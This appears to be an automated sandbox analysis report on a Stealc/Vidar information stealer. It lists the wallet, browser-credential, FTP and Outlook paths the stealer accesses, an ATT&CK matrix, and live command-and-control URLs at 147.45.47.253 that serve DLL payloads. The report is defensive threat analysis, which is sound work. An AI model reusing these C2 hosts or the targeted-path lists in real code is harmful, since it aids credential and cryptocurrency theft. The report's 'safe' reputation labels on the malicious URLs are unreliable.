Source: RegAsm.exe	String found in binary or memory: on\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multid
Source: RegAsm.exe	String found in binary or memory: am\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.j
Source: RegAsm.exe	String found in binary or memory: passphrase.json
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: \Ethereum\
Source: RegAsm.exe	String found in binary or memory: am\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.j
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json.*4&
Source: RegAsm.exe	String found in binary or memory: Ethereum
Source: RegAsm.exe	String found in binary or memory: file__0.localstorage
Source: RegAsm.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe	String found in binary or memory: on\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multid
Source: RegAsm.exe	String found in binary or memory: on\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multid
Source: RegAsm.exe	String found in binary or memory: am\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.j
Source: RegAsm.exe	String found in binary or memory: am\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.j
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.*[

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 760, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 760, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 760, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA50C40 sqlite3_bind_zeroblob,	2_2_6CA50C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA50D60 sqlite3_bind_parameter_name,	2_2_6CA50D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C978EA0 sqlite3_clear_bindings,	2_2_6C978EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	511 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	144 System Information Discovery	Distributed Component Object Model	1 Email Collection	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	37%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://147.45.47.253/58b7620e0f34e81d/msvcp140.dllc	0%	Avira URL Cloud	safe
http://147.45.47.253	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://support.mozilla.org	0%	URL Reputation	safe
http://147.45.47.253/072aacac8f68fd5f.phpData	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/softokn3.dll	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe
http://147.45.47.253IDHII	0%	Avira URL Cloud	safe
http://147.45.47.253/072aacac8f68fd5f.php9	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/softokn3.dll5	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/softokn3.dll;	0%	Avira URL Cloud	safe
http://147.45.47.253/072aacac8f68fd5f.php	0%	Avira URL Cloud	safe
http://147.45.47.253/0	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/softokn3.dllU	0%	Avira URL Cloud	safe
http://147.45.47.253/072aacac8f68fd5f.phpition:	0%	Avira URL Cloud	safe
http://147.45.47.253/072aacac8f68fd5f.phpBrowser	0%	Avira URL Cloud	safe
http://147.45.47.253/072aacac8f68fd5f.phpllp	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/sqlite3.dll	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/softokn3.dllQ	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/vcruntime140.dll	0%	Avira URL Cloud	safe
https://cdn.epnacl	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/nss3.dll	0%	Avira URL Cloud	safe
http://147.45.47.253/072aacac8f68fd5f.phpt	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/msvcp140.dll	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://147.45.47.253/072aacac8f68fd5f.php319	0%	Avira URL Cloud	safe
http://147.45.47.253X	0%	Avira URL Cloud	safe
https://cdn.ep	0%	Avira URL Cloud	safe
http://147.45.47.253/	0%	Avira URL Cloud	safe
http://147.45.47.253/072aacac8f68fd5f.phpM	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/mozglue.dll	0%	Avira URL Cloud	safe
http://147.45.47.253/072aacac8f68fd5f.phpY	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/mozglue.dllo	0%	Avira URL Cloud	safe
http://147.45.47.253/072aacac8f68fd5f.phpEBGHIEBFIJKECBKFHD	0%	Avira URL Cloud	safe
http://147.45.47.253/58b7620e0f34e81d/freebl3.dll	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://147.45.47.253/58b7620e0f34e81d/softokn3.dll	true	Avira URL Cloud: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.php	true	Avira URL Cloud: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/sqlite3.dll	true	Avira URL Cloud: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/msvcp140.dll	true	Avira URL Cloud: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/nss3.dll	true	Avira URL Cloud: safe	unknown
http://147.45.47.253/	true	Avira URL Cloud: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/mozglue.dll	true	Avira URL Cloud: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/freebl3.dll	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://147.45.47.253	RegAsm.exe, 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	CFHIIJDB.2.dr	false	Avira URL Cloud: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/msvcp140.dllc	RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	CFHIIJDB.2.dr	false	Avira URL Cloud: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.phpData	RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.php9	RegAsm.exe, 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.253IDHII	RegAsm.exe, 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/softokn3.dll5	RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegAsm.exe, 00000002.00000002.2243570891.000000000101D000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.2.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	false	URL Reputation: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/softokn3.dll;	RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.253/0	RegAsm.exe, 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegAsm.exe, 00000002.00000002.2243570891.000000000101D000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.2.dr	false	URL Reputation: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.phpBrowser	RegAsm.exe, 00000002.00000002.2243570891.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.phpition:	RegAsm.exe, 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/softokn3.dllU	RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/softokn3.dllQ	RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.phpllp	RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000002.00000002.2264361941.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.epnacl	RegAsm.exe, 00000002.00000002.2243570891.000000000101D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	CFHIIJDB.2.dr	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	false	URL Reputation: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.phpt	RegAsm.exe, 00000002.00000002.2243570891.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	EHJDGHJDBFIJKECAECAF.2.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	CFHIIJDB.2.dr	false	Avira URL Cloud: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.php319	RegAsm.exe, 00000002.00000002.2243570891.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.253X	RegAsm.exe, 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 00000002.00000002.2243570891.000000000101D000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	false	URL Reputation: safe	unknown
https://cdn.ep	RegAsm.exe, 00000002.00000002.2243570891.000000000101D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	CFHIIJDB.2.dr	false	URL Reputation: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.phpM	RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	false	URL Reputation: safe	unknown
